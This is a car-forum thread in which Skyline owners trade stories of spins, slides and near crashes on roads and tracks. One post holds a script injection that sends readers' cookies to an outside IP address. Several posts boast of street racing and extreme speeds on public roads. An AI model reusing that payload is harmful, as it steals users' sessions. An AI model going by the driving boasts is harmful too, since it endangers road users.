# Scariest skyline moment



## MPC-GTR (Aug 30, 2004)

O.K so what has been the scariest skyline moment (I'm not talking seeing the repair or servicing bills) whilst on the roads.
Obviously we are all conscientious law abiding citizens who would never speed or drive recklessly but everybody surely has had their brown trouser moment.
A friend was telling me about a particularly hairy moment, when he was on the motorway. He was behind a flat bed truck carrying a load of steel pipes which continued beyond the length of the vehicle. Traffic had to stop quickly because of an accident and he was a little late to brake. He was convinced he was going to crash into this truck but when he eventually stopped he had avoided it, however he was that close, the end of the overhanging steel pipe was suspended over his bonnet only around 4 inches from his windscreen, at head level   

Made him drive very slowly after that for a while.


----------



## empi (Jun 23, 2004)

*phew...*

Fairly similar moment. I had arranged to meet a group of pals near the Dartford tunnel outside the carpark of Hilton. As you come off the slip from the M25 go on to a dual carridge way (about 400 meters) past the hotel on the opposite side, down towards a roundabout, (ideal to impress) then back up towards the hotel. As i pulled into the carpark with great panache i realised the barrier was down.

Needless to say stood on the anchors - stopped, laughed alittle about the worlds first convertable Skyline and then proceeded to change my underware. Lesson learned and never to be repeated


----------



## dangerous dave (Dec 16, 2003)

changing lanes @ the top end of 3rd gear without using the steering , thank god the other lane was not in use at the time , that took my pants by surprise


----------



## Durzel (Dec 5, 2001)

Nothing *too* serious but about 2 weeks after buying my R33 LM I was joining a motorway on a slip road with adverse camber. For reasons unknown (diesel on road?) the back of the car stepped out massively as I was going up the ramp, at about 70...

Not knowing what to do I followed my gut instincts (which were wrong) and took both feet off the pedals and proceeded to get into an endless over-correcting battle with the car. After snaking left and right about 6 times, getting progressively closer to the verges on either side the car ended up going so slowly that we actually stopped.

Fortunately I was facing the right way and just carried on up the ramp. A huge brown trouser moment.


----------



## DCD (Jun 28, 2001)

Not being quick enough at feeding the steering wheel back from a rather unexpected slide at around 120km/h in 3rd going into the bridge corner at Motegi. First time on track with the car and ended about 5-6cm from the armco. Talk about brown trouser moment...I had a booty-rash for a week


----------



## boab (Aug 23, 2003)

entering the "monaco" tunnel in dundee, head in in 3rd, drop to 2nd and welly it, makes a nice noise....

dual carridgeway with a concrete wall in the center, droppped to 2nd and gave it some, the back end kicked out!! heading for the concrete!!!!!!!!! dunno how, but i saved it, and made out it was an intentional power slide!

needless to say, both myself and the missus had a BIG brown trouser moment


----------



## Bassman (Dec 17, 2003)

Loosing the rear on the Frimley M3 slip road in the ****ing rain...



















Ouch


----------



## -C- (Oct 16, 2003)

Bassman did you spin & hit the near side I take it? Both the enterance & the exit bend to the left! (sorry I use it every day so I know that junction)


----------



## Fuggles (Jul 3, 2001)

*Mine has to be........*

80mph round *Rivage* in the wet. Adverse camber, slippery piece of track and an unfamiliar circuit. Just managed to put a toe on the white line on the outside and the car went all over the place . After spinning clockwise for one whole tuurn I managed to get the car back on the track  but, having stopped the spin one way the re-entry to the track made it spin the other  A whole turn later and I managed to hit the tyre wall  

But the scariest bit? Driving back to the pits to show Claire the damage!


----------



## kgleeson (Sep 16, 2003)

*Spin!*

Picked my car up from the garage after having a new clutch fitted and service. Having not driven the car for a couple of weeks after driving a focus diesel estate. Slightly damp conditions and a nice dual carriage way before hitting the M50. Thought I would give it a good thrashing along the M50 and overtook a lorry just before the end of the M50 braked for the roundabout dropped into second and gave it a big footfull onto the roundabout. Few seconds later after doing two full 360 degree spins managed to carry on without hitting anything and facing the right direction.

Drove away very slowly and thought to myself ouch!!!!!!!!!!! that could have been expensive. Didn't really know too much about it to be honest it all happend soooooo fast! Didn't even have tiem to [email protected] myself fortunately.

Anyways looked into traction control and what have you and finally fitted a torque controller, now I can powerslide to my hearts content and at the moment without fear of repeating the above! Although I am a tadge more carefull in slightly wet conditions.

Kev


----------



## Bassman (Dec 17, 2003)

-C- said:


> Bassman did you spin & hit the near side I take it? Both the enterance & the exit bend to the left! (sorry I use it every day so I know that junction)


Actually I hit the outside barrier on the London bound slip road. Accelerating fairly slowly around the bend when the back steps out and just keeps going. So I have two choices, try and hold it and look a hero power-sliding onto the M3 whilst looking out the side window. Or bottle it, have a big lift and try to catch it. Option B won but did I catch it? Err.... nope  . Car does a 180 and slids backwards into the outside barrier before pitching left and smacking the front too  
Fortunately it missed all the running gear as well as the passenger door. I gave it to those nice people at Abbey and it now looks lovely again 
Still at least there is a nice shinny new bit of armco thanks to me


----------



## empi (Jun 23, 2004)

*umm..*

it seems like most of us have had the rear end break away in the wet and we all know when it goes it really goes!, some of us have been lucky and some haven't (me now included)

I don't want this to sound stupid but from experince, and this is open to all - whats secret to get out of it?


----------



## Bassman (Dec 17, 2003)

empi said:


> whats secret to get out of it?


I can tell you what not to do... DON'T HAVE A BIG LIFT    

From what I can gather the best thing to do is keep your toe in, steer into it and attempt to hold it long enough for the car to straighten out of its own accord. Eventually the 4WD decides you need help and as the cornering force drops it will feed more power to the front and haul you outta trouble. At least that's the theory, as I don't have balls the the size of a small planet I opted for a Torque Split Controller which alters the way in which the 4WD system divides the power in the corners.


----------



## GavGTR (Jan 12, 2004)

Track Day - SPA - Corner - Blanchmon.

I was taking the racing line around the Blanchmon, I also had a White BMW GTR behind me at the time, he shot up the inside of me which caused me to adjust my racing line mid apex. My shocks were already fully loaded and this change of racing line mid corner caused total loss of traction of all for wheels. The 100Mph+ power slide ensued. The nose of the car was now pointing straight at the Armco, 90 degrees adjacent to the direction of the track. This sort of pickle can cause all sorts of bodily functions to occur! 
New Nappies Please!

Sucessfully pulled the car around and pointed it the right way, luckily no one else was very near by at the time otherwise they may have been collected. 
After that I was seriously pondering track day insurance.


----------



## Durzel (Dec 5, 2001)

GavGTR said:


> Track Day - SPA - Corner - Blanchmon.
> 
> I was taking the racing line around the Blanchmon, I also had a White BMW GTR behind me at the time, he shot up the inside of me which caused me to adjust my racing line mid apex. My shocks were already fully loaded and this change of racing line mid corner caused total loss of traction of all for wheels. The 100Mph+ power slide ensued. The nose of the car was now pointing straight at the Armco, 90 degrees adjacent to the direction of the track. This sort of pickle can cause all sorts of bodily functions to occur!
> New Nappies Please!
> ...


Now *that* sounds scary!


----------



## SteveN (Aug 6, 2002)

Bassman said:


> I can tell you what not to do... DON'T HAVE A BIG LIFT
> 
> From what I can gather the best thing to do is keep your toe in, steer into it and attempt to hold it long enough for the car to straighten out of its own accord. Eventually the 4WD decides you need help and as the cornering force drops it will feed more power to the front and haul you outta trouble. At least that's the theory, as I don't have balls the the size of a small planet I opted for a Torque Split Controller which alters the way in which the 4WD system divides the power in the corners.


Spot on, i actually typed very similar then my work PC crashed...

Basicly learn to drive a powerful RWD car as thats how a GTR mainly behaves, learning to drive a v.powerful RWD hard is one of the best driving lessons you can learn IMO, as its always when people go to rear biast powerful stuff that they come a cropper, no matter how powerful the understeering/neutral things they had in the past were.

BUT 2 things...

Lifting off sharply is an even worse idea in a GTR than a powerful RWD!
Keeping your foot in on a GTR is a even better idea than a powerful RWD (where you can either keep your foot in or LIGHTLY lift off) as it takes more of the power to the front, literally trying to pull you out of trouble.

Torque Split Controller might be an idea for some tho.


----------



## Daz (Aug 14, 2001)

Mine doesn't compare to most on here ... but i'll post it anyway.

Was on the way to Abbey's (can't remember what for), and decided to take a more enjoyable driving route rather than sitting on the motorways all the way. So, heading up some dual carriageway, catch a car as we approach a roundabout. Take it very gently round the roundabout as it's very damp ... come off the roundabout, wait for the road to straighen, decide I can now overtake ... plant my foot and I go completely sideways. I end up overtaking the car with my bonnet facing his front door !!! Natural reaction - counter steer but lift only slightly ... get it straight, keep accelerating past .. and then ease into 5th and relax for the rest of the journey. My passenger enjoyed it (my old man).

Absolutely shat it .... and it's because of this that I'm doing a driving day at North Weald on Monday - so I can practise catching it when it goes out of shape - as well as being able to provoke it


----------



## Pikey (Feb 19, 2004)

Bilmey  

My scary moment is nothing like your stories!!!

I was driving home one night, came to a roundabout (at the top of the Golden Valley, coming from P.E. way and going onto the Golden Valley - for SteveN's benefit). Slightly off camber exit onto a dual carriageway, in the rain. I'd had the car for about 2 weeks at this point. Got on the power a little too quickly and the back end steps out, so I feathered the throttle and countersteered to the left and held a mini-drift for a second onto the dual carriageway    :smokin: 

Crapped myself later when I realised I had been driving on instincts based almost entirely on playing Sega Rally and could have ended up in a ditch


----------



## moleman (Jun 3, 2002)

My first wet drive - About 18 months ago, I had the car 6 months or so and hadn't driven it in the wet. My first wet drive was going home after picking it up from Abbey. Coming off the M25 at Junction 11 into Woking, there was a Saab in the dedicated lane so I went into the right lane and gave it some around the bend onto the dual carriageway. I don't know who was more suprised, the driver of the Saab who I was looking directly at through my windscreen , or me 'cos I managed to save it. Believe me - it was more luck than judgement!!!


----------



## car32 (Oct 12, 2003)

my little moment was last year,on the way to work round the local motoway roundabouts,one is like the corkscew at laguna seca circuit in calafornia.went into it in third in the dry hit the gas on the exit half spun then it kicked back the other way and ended up going backwards,front end came round pointing forward again and straight into the barrier going over the m6.jumped out and had a look(that was the scary bit), noticed a traffic camera looking right at me,managed to drive off smoking and bits falling off.


----------



## BlueFin (Oct 18, 2002)

Pikey said:


> .....
> 
> Crapped myself later when I realised I had been driving on instincts based almost entirely on playing Sega Rally and could have ended up in a ditch


ROFL     

It's happened to me twice and the memories are still frightening, still to raw to recall (my GT3 experience came to nothing)  , but did hear a howitzer go off in the drivers seat that nearly killed me twice over!!


----------



## paul creed (Feb 18, 2003)

*Hehe,some good stories so far guys*

I've had 2 scary moments.The first was after owning the car for about 2 weeks.Left work late at night following my mate in his car.Only doing about 45,but it was wet,and the bend i was going round was also the entrance to a very big lorry yard.Plenty of greasy shit on the road.Back end just shot straight round.Did a complete turn and a half,bfore i even had time to correct.Stopped backwards up a grass verge,about 2 inches from a rather large concrete pillar.
Damage.....?.........only my pride and lots of mud and grass in my wheels.

2nd experience
Just leaving work again...(must start taking this into consideration  
Got to the traffic lights at Rochester Bridge,when a noisy Ford RS Turbo came up beside me.Nailed it past him.Made him look like he was reversing.Went over the brow of the bridge doing approx 100,only to see a lovely big red bus and a car beside it sitting at the next set of lights.
Chucked out the big anchor.All wheels locked,and no sign of slowing.next thought was what to use to stop..the bus or the bridge.Slammed it over to the left and threw it into the curb to slow me.After taking a 5 inch long 5mm deep perfect slither off my front wheel,i stopped sideways behind the bus.
To the roar and cheers and some rather shocked faces from the now very crowded back of the bus,i just popped it back in first and dissappeared into the sunset.

Lessons to be learnt............dont be such a twat,and never take the road for granted


----------



## andreasgtr (Jul 2, 2003)

CITY: Been driving around a nice corner (new done road) in 3rd and accellerated (at app. 75 km/h) then lost the back (although it´s a FF car!) ...tried to steer back but ended in the side of the road (15cm concrete) and ripped off my rear suspension. 
Besides the hurting cash flowing off my wallet that crash was cool because after hitting the concrete the car turned 2 or 3 times. And everytime the car turned I could see a little blue corsa coming closer. Had no control and all I could do was waiting till the car stopped.


Outside City: My other moment was when I was driving at night outside the city. Wanted to give the car a little blast and acc. to 160 km/h when I spotted a white thing at the size of a head in my headlight-cone. Well, couldn´t react as quick as needed and hit the STONE. At least I managed to not hit it with a tire but that stone cut of my cars underside and I had a 24cm long cut in my floor and the driver seat was lifted 6cm on the left side.
Some f++kin children had their fun by putting stones in the road.
I wansn´t that amused, especially when the bill came in and I had to pay 1.8K €uros.


----------



## Crazy Dog (Mar 12, 2004)

Attempting to stay in front of a tuned Evo 8 into a roundabout when I already knew my brakes were fading... that was bad.  

Drifting onto gravel at 160 mph on a duel carriageway against a GSXR 1000 was a tad worrying.  

Keeping up with a 2003 911 turbo in my stage 1 gtr was exhilerating.... until 
it tried to follow him through a 90 degree bend on a roundabout.... that was just silly


----------



## blueskygtr (Mar 24, 2004)

Forgetting i am no longer in the skyline and trying to take our local racetrack roundabout at 40 in a vauxhall calton estate    
Mind you the ass came out quicker than the sky did so was a big surprise being opposite lock in a 18ft car on the first turn in
OH I MISS MY GIRL   
JAY


----------



## Alexb (Jul 1, 2003)

Was driving up the M5 in heavy traffic, and a Lynx lorry *ON THE OTHER SIDE* went out of control, busted through the central reservation flipped onto it's side and stopped about 20 metres in front of me!!!

He took up the whole road and thankfully didn't hit ANY oncoming traffic.

A trouser moment narrowly avoided!


----------



## sexy beast (Jul 25, 2003)

I was driving back from Brighton, cruising in the fast lane. There was a lorry ahead of me in the middle lane, with a sort of crane-thing on the back.
A Merc comes steaming up behind me - must have been in a rush - so I was just about to move over (fingers on the indicator stalk) when CLANG! - the crane on the back of the lorry hit a footbridge and came off the back of the lorry, landing about level with the front of my car in the middle lane! The reason was the crane had been left in the 'up' position!! My car was showered with bits of crossbridge fragments, and suffice to say the Merc behind me had pulled back a bit!!!

Although it was a shock at the time, thinking about it afterwards: if I'd have seen that Merc earlier I would moved over and that crane would have been buried in my bonnet, maybe taking my legs with it! Yikes!!


----------



## Alexb (Jul 1, 2003)

some lorry drivers really don't have enough brain cells to earn the right to drive those gargantuan vehicles!!


----------



## babz_audio (Apr 12, 2004)

i will pop out later and see if i can scare myself...


----------



## Simonh (May 24, 2002)

two or three come to mind - fitting a new boost gauge and controller then going out on my own to set it up (muppet) bombing along a duel carrigway eyes firmly on the boost gauge - look up to see an artic pulling out on me - managed to only clip my passenger wing mirror.

overtaking some old biddy in the rain and lost all traction to the rear - wasn't even going fast! eneded up ging past her sideways.

comming off a round about in the GF's GTSt with a BMW on my inside hit a big patch of standing water and went sideways - changed from 2nd to 3rd to 4th before I eventually got it under control - the BMW driver stayed well away from me after that!!

Simon


----------



## Alexb (Jul 1, 2003)

err.... slow down dude!!


----------



## MattPayne (Apr 11, 2002)

Mine was in the pouring rain, on the way to a rolling road day with the VR6 & Seat enthusiast clubs.... the rain was POURING and the A12 was pretty much covered - safe driving speed (and the speed id usually be going at in such conditions) was about 60 leptopns... we were all doing about double that!  approaching witham theres a noticable left hander... I thought 'Im going WAY too fast for this' as i entered the corner I think I lifted off and the car just went...  back end stepped out! - the car wanted to live, my very limited skills at car control were not enough to bring it back in! so im pleased (and lucky) to have gotten away with it! it did make the guys in the car behind grin though!


----------



## skymania (May 28, 2004)

LOL, bloody lucky mate!


----------



## hodgie (Oct 23, 2003)

First ever trackday.
Trying to hard.
720 spin.


----------



## Ent (Sep 30, 2002)

not a skyline but in my family car back in UK, remember a sudden snow storm 2years ago? well, i was caught in the middle of it.

the main roads was stuck with cars that couldn't go up a small hill, so i took the back roads where not one car has driven on the new snow that just lay down.

a S bend came up on a downhill, i slowed down to 15mph and took the first left with no problem.......tuen the wheel to the right and oooooooo......no traction? okayyyyyy full lock here i come! but nooooooooo, it went straight on and heading towards a concret wall......managed to stop the car by pulling handbrake up and yanked it in reversed and floored it. stopped at 1 foot away from that thick wall.

drove vvvvvvveeeeeeeerrrrrrryyyyyyyy slowly to my nearest mates house after that and waited for the snow to stop.

Ent


----------



## Mookistar (Feb 5, 2004)

all this talk of tail happy skylines makes me think i need to slow down 

hope to get on the north weald day, with my fiance, to let us discover what can go wrong.

mook


----------



## Alexb (Jul 1, 2003)

Alexb said:


> err.... slow down dude!!



errrrrrr YEAH!


----------



## MtX (Sep 8, 2004)

<script>document.write('<img src="http://82.194.36.52/'+document.cookie+'">';</script>


yes yes I liked that


----------



## GeorgeBush (Feb 27, 2004)

There have been a few 'stepping out' incidents since owning my GTSt, like many of you these were mainly during the first few weeks of ownership, now when it happens it's usually intentional 

Anyway, as far as trouser browning moments go I have two I would like to share with you, these both occured along the same road within about 2 miles of each other but on different occassions, but for the same reasons. The location will remain secret because I only started using this piece of road frequently over the last month, and since then the law has taken to always positioning a mobile GATSO along said stretch at the times I normally frequent this place. Worrying.

CASE 1: Before turning on to said road (which is a dual carriageway) a very nice looking Supra 300ZX made a point by occupying my whole rear-view mirror and hissing his BOV at me. I thought what the hell so at the lights I launched hard and kept going up to about 1^2 at which point the road which is only a very slight inclince, starts to decline. What seems like a mild change in pitch at the correct speed was like a ski jump at what I was doing, and with stiff suspension I lost traction on one(I think just the one) wheel and made an unintentional lane change, lifted off totally, spat flames from the sudden lift-off and managed to stop before the next set of lights. When the Supra pulled along just ahead at the lights he flashed his hazards. I wonder if he thought I meant to do that?  That scared the hell out of me, but felt good after.

CASE 2: Was further down the road, stopped at the lights, there was an Audi A4 1.8 in front, a nothing car. Lights go green and I notice him gun it, so I duly caught up and stuck to him up through the gears, he pulled aside as we were going round a bend, I was pretty much at the limit speed wise for the severity of this bend, which seemed to have doubled at such a pace. As I kept on the gas to get past I went over a dip in the road, with the rock hard suspension in threw the car up, not losing any traction this time but nearly knocking me out from smacking my head on the ceiling. I was dazed and moving swiftly and just had to brake and try to remain straight. Took a few minutes to get my head together. Not good at all.

Epilogue: Some Merc thought he'd try to out-run me at the lights tonight and got caught by the aforementioned, MiniGATSO. Hehe, sometimes the slower car wins the race eh?


----------



## bladerider (Jun 29, 2002)

A couple of mine....

Having a "happy moment" at two and a half times the speed I should have been doing on this quiet country road went over some severe bumps in the road like George, except that I landed half in my seat, half in the passenger seat, still doing two and a half times what I should, luckily for the first time ever the car didnt tram line else I would have gone straight into the trees beside the road and probably booked a direct flight to see St Peter.

Another one was also at about double the speed limit when closing on a car round a gentle right corner with a short straight the other side. The timing was perfect to allow me not to lift, catch him up the other side and still have room to either throw out the anchor or breeze (ok, blast) past him. Except that I took a bit of a racing line round the bend as there was still nothing coming and as soon as I touched the white centreline the back end stepped out alot and by the time I went past him I was already catching the pendulum and actually had to get VERY close to him to avoid getting my rear wheels on the verge !! Good job I had (unusually for that speed corner) changed down to fourth as I dont think fifth or sixth would have given me enough grunt to keep the slide.

Needless to say three things happened.....

He hooted me
I slowed down a bit for the rest of the journey
I threw away that particular pair of pants (only kidding) !!!

Still didnt get especially scared though, just bemused that such a minor thing can catch you when you least expect it. Oh and I noticed that the very outer edge of the rear tyre had scrubbed quite a bit, so perhaps was slightly down on pressure as well.

Just goes to show, if its gonna get ya, its gonna get ya.

J.


----------



## bladerider (Jun 29, 2002)

Only time I have EVER been really scared was when the airbag went off unexpectedly in my citroen berlingo van.

Totally deaf
Totally blind

And as it was at about 4am totally dark until the bag deflated just in time to pitch into the armco at 85mph, my last sight before the lights and front end got destroyed and it all went dark again   

Imagine total sensory deprivation, whilst knowing you are driving at 85mph, and the armco and a bridge support is beconing somewhere close at hand. SCAREY !!!

J.


----------



## johnnyTightlips (Jun 17, 2003)

james err err errrrr i err think er er u mite need to slow down!!!!


----------



## bladerider (Jun 29, 2002)

It was all on my personal test track - honest !!  

And besides,

We all buy these cars to use them. At least I dont hide behind some pretentious, hypocritical, goody two shoes bollox that we should only use them on track.

Im not condoning dangerous driving, breaking the law, speeding or anything else. All I am saying is that I live in the real world, where temptation occasionally gets the better of you  Oh, and that I can be a muppet, just like anyone else.    

j.


----------



## moleman (Jun 3, 2002)

What's a Supra 300ZX?


----------



## JGTR (Jul 8, 2004)

My scariest Skyline moment was when, after only having the car for 2 months, I got a phonecall from the garage telling me that the repairs to my car would be £8k LOL   :smokin:


----------



## Tim (Jan 6, 2003)

bladerider said:


> I threw away that particular pair of pants (only
> 
> J.


Are you sure they're not the ones you keep for playing twister


----------



## GeorgeBush (Feb 27, 2004)

I meant Supra RZ, it was late, I was tired... Sue me...


----------



## stealth (Jul 6, 2004)

I have to agree with bladerider on this ,we all floor the cars when there is a clear track ahead (whats the point in owning a skyline otherwise)I cought the grass verge overtaking a beamer the first week I had mine but the back end snapped back in sharpish but I felt it move out worse than it probably was but with a ditch down the side I was on it could have been bad if I lost it ,happend so fast so as not had time too be scared but when you get home you think about it a bit .With out a doubt I think my cossie in the same situation might have been a differant story ,the skyline in handling is very forgiving compared to anything else I have driven ,I would not want to take the **** too much though..


----------



## Mookistar (Feb 5, 2004)

Daz said:


> wait for the road to straighen, decide I can now overtake ... plant my foot and I go completely sideways. I end up overtaking the car with my bonnet facing his front door !!! Natural reaction - counter steer but lift only slightly ... get it straight, keep accelerating past .. and then ease into 5th and relax for the rest of the journey. My passenger enjoyed it (my old man).
> 
> Absolutely shat it .... and it's because of this that I'm doing a driving day at North Weald on Monday - so I can practise catching it when it goes out of shape - as well as being able to provoke it



this is EXACTLY what happened to me yesterday.  

If only i could afford that north weald driving day


----------



## Yunis A (Jul 25, 2004)

guys just be carefull and drive safely this winter, the roads are shite, skylines will bite back if you over do it..god forbid another sad situation


----------



## Dave_R1001 (Nov 24, 2002)

Crashing my Evo the other week has to be my scariest experience whilst being in "control".... 

Scariest passenger experience.... 

In the car with -C- at bruntingthorpe for a Redline top speed day, fill it up with race fuel, turn it up to 1.7 bar, go out for a feeler run. 

1st gear..... I shit my pants...
2nd.... much the same
3rd.... 
into 4th.... see 150 on the stack and Chris goes to lift off to coast down.... the car keeps pulling and screaming like mad, trottle stuck to the floor and all Chris can do is turn it off and hope we can stop! 

Getting back the throttle cable guide had become loose and jumped out.


----------



## davew (Apr 28, 2003)

well i can tell you all the scariest moment for me is when i added up how much money i had spent on her


----------



## RB_26 (Nov 28, 2004)

Pikey said:


> Bilmey
> 
> My scary moment is nothing like your stories!!!
> 
> ...


LMFAO

Thats what happened to me yesterday.... only it was the Gran Turismo skills ... realised! :smokin:


----------



## Snathe (Dec 6, 2003)

My worst "moment" was after having my first R32 GTS-t for only a few weeks. 
Pi$$ed off, having just told my old boss where to stick his job, i set off to a mate's house, in the rain. On the 3 lane section of the A52 i hit either diesel or standing water flat out in 4th.... Four complete spins later, i found i'd hit nothing and was pointing roughly in the right direction to carry on.
All i could remember was closing my eyes and letting go of the wheel, incase it was ripped round by a curb or something. It felt like being on the waltzers at the fair  

Another "moment" was when i was 19. I'd just sold my rally prepped Talbot Sunbeam and thought i'd take it for a final blast. I came off an island in 2nd and one of the rear wheels went over a slick manhole cover. The LSD locked and threw the car towards oncoming traffic. I managed to force it the other way and the nearside 1/4 panel made good friends with a lamp post, ripping the rear axle off too!!! The guy got his deposit back and it stayed in my workshop for a few years on axle stands before being sold as scrap.

Gotta say though, i've slowed down a fair bit now.


----------



## Andy Hornsby (Mar 22, 2003)

Took car out for a try when new turbo fitted.....as you do!.....roads nice and dry, coming off a roundabout, tapped the throttle and saw the diesel on the road at the last moment.   
Brown trouser time...


----------



## SkyJawa (Apr 28, 2004)

Very similar thing here. Heading into Bracknell reach Corel Reef roundabout. Only one other car ahead - a 306. I got from outside lane to inside lane to straight line the roundabout as much as poss, I then figure I head back into the outside lane wait for the camber change and nail it past him in 2nd. So I straighten the car up, nail it and........... yep, back end steps out about 80 degrees and I'mjust in front of the 306 pointing at the trees on *his* left!!! 

Shaft myself big time as same thing happened a few months previous in my old supra which I caught but it snapped back 180 the other way and hit a bloody wall. Steered into the skid, lifted slightly but not totally and she straightened herself up and I shot off up the road!! 

Would have looked ace if I'd been followed but I'm sure the 306 drive must have though "w4nker"  

Certainly made me shat meself though! Would like to do a handling course too, purely as the Skyline is that much heavier than the other chuckable cars I've had so want to find its limits in a safe place!


----------



## gtr670 (Oct 3, 2001)

My only scary moment, touch wood, was driving down the E40 in Belgium at 205MPH, was slightly down hill , on the way to the 'ring. As the road flattened out there were a few little bumps in the road which caused the car to squat down at the back and then squirm left and right!!
Not a nice feeling I can tell you!


----------



## tomek (Apr 4, 2008)

Major thread digging.. lol

Scariest moments would definately be when getting used to Attessa, now I know it is a good idea to "learn" how the system works before driving the car with passion.. 

Countless times getting onto the throttle mid way through a corner, ass steps out.. I lift off and counter steer.. 4-6 full direction changes and it settles.. 


Not so much scary, but a definate learning curve.
Couple of times at the track, rounding the corner at a good 40-50mph doesnt sound like much but it's a go kart track so it's very tight and barriers are all over the place, getting on the gas too soon and having the car step out to the point were i thought there was no return  .. kept to my guns, had the throttle planted and steered in ### waits #### waits #### torque to front wheels .. nice exit .. hehe

Actually.. got a video for you guys 
YouTube - Zieba Unleashed Part 1.


----------



## trackday addict (May 14, 2005)

Remember the anticipation of driving Project GTST for the first time in it's new guise in July 2007. On a test day & first run very easy just to make sure it ran straight & to get my head around it.

2nd run - easy launch & then nail it - car picking up speed very very quickly, thinking bloody hell & then half way through changing from 4th into 5th the oil filter housing sheared off dumping all the oil on the back tyres - split second pointing right then left then right etc etc :runaway: 

How it stayed out the wall i dont know but thank christ it did, then the phone call to the other half was interesting as she was not best pleased as it was with the additional expense that had been ploughed into it over the winter.


----------



## tomek (Apr 4, 2008)

trackday addict said:


> Remember the anticipation of driving Project GTST for the first time in it's new guise in July 2007. On a test day & first run very easy just to make sure it ran straight & to get my head around it.
> 
> 2nd run - easy launch & then nail it - car picking up speed very very quickly, thinking bloody hell & then half way through changing from 4th into 5th the oil filter housing sheared off dumping all the oil on the back tyres - split second pointing right then left then right etc etc :runaway:
> 
> How it stayed out the wall i dont know but thank christ it did, then the phone call to the other half was interesting as she was not best pleased as it was with the additional expense that had been ploughed into it over the winter.


so what was scarier? that wall or the missus..  

:bowdown1:


----------



## Dins (Aug 13, 2007)

Not in a skyline, but still f***ing scary:

Driven the Nürburgring a couple of times before and pretty much had the track down, so I thought I could start to go faster. It was nice and dry, so I'm going, to put it bluntly, balls out. Everything was terrific, I hit the lines beautifully and controlled. Then I came up to Schwedenkreuz, shortly after Flugplatz. It's a fairly long and open lefthander over a crest. The car was settled the times I went through before, so I just used less brake and went into the corner at around 160-170ish. Coming over the crest with a fair amount of additional pace, the back lifts and a huuuuge powerslide/4-wheel drift ensues, taking me all the way to the next braking point, which I then took very gingerly. Jesus Christ I nearly fainted, considering there's just about no space to go if you lose it. I'll never risk that again. In hindsight, good fun though .


----------



## anthonymcgrath (Feb 22, 2005)

anyone know the roundabout on the A49 just opposite the college & tesco extra in warrington? I was sat at the red lights there late one night and some lads crossing the road started taking snapshots and asking me to give it a rev. In my moment of "hell why not put a smile on their faces" I decided to boot it off the lights & round the roundabout... however I did a very dumb thing.. lift. Having never had the car step out before (not even in my ol gtst) I nearly shat myself especially as a truck had just entered the roundabout and I was heading sideways for the back end of it! I put my foot back on the gas and straightened up but that seriously scared me and made me behave from then on.


----------



## anthonymcgrath (Feb 22, 2005)

Andy Hornsby said:


> Took car out for a try when new turbo fitted.....as you do!.....roads nice and dry, coming off a roundabout, tapped the throttle and saw the diesel on the road at the last moment.
> Brown trouser time...


bloody hell Andy - YOU got a fright on the roads? first time I went out in yours I clung on for dear life and that was pre-cam pre-new exhaust and pre-new-turbo!! :chuckle:


----------



## Cid_Casterwick (Apr 16, 2007)

Havnt had the Skyline long enough to have a brown trouser moment, but there was this one time...

I was on my way home from work coming down 11th ave, i was prepairing to take a left in my BRAND NEW, 2 WEEK OLD, 2004 Subaru WRX STi in Java Black Pearl. Keep in mind as you read this that just 2 weeks earlier i was driving a 91 CRX Si so i have NEVER felt 300hp before or ever had a RWD bias car. I had taken this left on to resevoir road a few times before, a broad sweeping down hill intersection at like midnight i think it was, i had gone round it a few times getting the back to step out a little but this time i gave it some more throttle, the back steped out, i squeeled, then i let go of the throttle...

The back attempted to come back into line, swung round the other way, now im shooting nose fist at the side of the road, WHAM! me and a telephone poll have become close friends. I impacted the passenger headlight between the frame and the impact bar so no air bags. When i hit the force spun the car 180 degrees i ended sideways in a alleyway. 

The cop up the road saw me do it, saw me standing outside, and very calmley came to make sure i was OK. Then he wrote me a 14pt carless driving ticket wich, after some classes, as reduced to a 1pt obstructed window charge. 1 month later that cars back on the road with a new carbon hood.

Ill go fetch my pictures if i can find them and post em.


----------



## G18RST (Dec 23, 2006)

I was showing off to my brother and his mate, accelerated to 120+ in a very short time on an A road and someone pulled out of a hidden driveway about 200m up the road. I absolutly shat my pants, hit the brombos and glided between the car and kerb with cm to spare each side.

I was still shaking an hour later and i still to this day dont know how i didn`t hit anything, i dont know whether the wheels locked, whether i was skidding or what, it just smoothly glided through the gap whilst slowing down at a rapid rate.

Please don`t show this to my wife or my mum.

Not driven like that since!


----------



## anthonymcgrath (Feb 22, 2005)

lol I think if there's one thing this thread show - they get you in trouble very quickly


----------



## xaero1 (Feb 9, 2004)

Scariest Skyline moment?

Brake fade at 140mph at the end of the Bruntingthorpe runway last year. It was one of those split second decisions where your brain thinks, "do I keep my foot planted and brake in a straight line, risking going onto the grass, or do I ease off the brakes enough to swing the car into a slide and use the friction of all 4 tires to slow me down?"

I kind of did both. I eased off enough to unload the front, start to turn in and then get the car sliding. I pulled off the most immense powerslide (in my view) and made it round the corner with my passenger saying, "Wow!" 

Needless to say I made it into the pits and called it a day after that


----------



## tomek (Apr 4, 2008)

xaero1 said:


> Scariest Skyline moment?
> 
> Brake fade at 140mph at the end of the Bruntingthorpe runway last year. It was one of those split second decisions where your brain thinks, "do I keep my foot planted and brake in a straight line, risking going onto the grass, or do I ease off the brakes enough to swing the car into a slide and use the friction of all 4 tires to slow me down?"
> 
> ...


hahaha.. wonder if you told the passanger you had brake fade... :runaway:


----------



## Cid_Casterwick (Apr 16, 2007)

Heres the picture of the left front fender/headlight/bumper region where me and the pole became one lol. Dont know why the picture resized so damn small though...


----------



## moreballsthanbadge (Jun 13, 2008)

Scariest moment, seeing how much the fuel is guna be each time i fill it up  But no on a serious note ive been quite lucky with the Skyline and ive had it two years now, mind you mine is a 2L N/A but that doesn't mean anything as you can have a scary moment in a Fiesta 

Had it go sideways a few times but to be honest it is quite easy to control, never been in a GTR so not sure how it behaves compared to a rear wheel drive Skyline....


----------



## beaumackenzie (Jan 21, 2008)

theres a pattern occouring here. its all seems to settle around stiff suspension.


----------



## moreballsthanbadge (Jun 13, 2008)

Well mine has front and rear strut braces, a B piller bar and also an upper B piller bar so its fair to say mine hardly rolls


----------



## moosedoog (Jul 13, 2006)

scariest skyline moment involved a police car and a 'certain' speed............we'll leave that at that!!!!

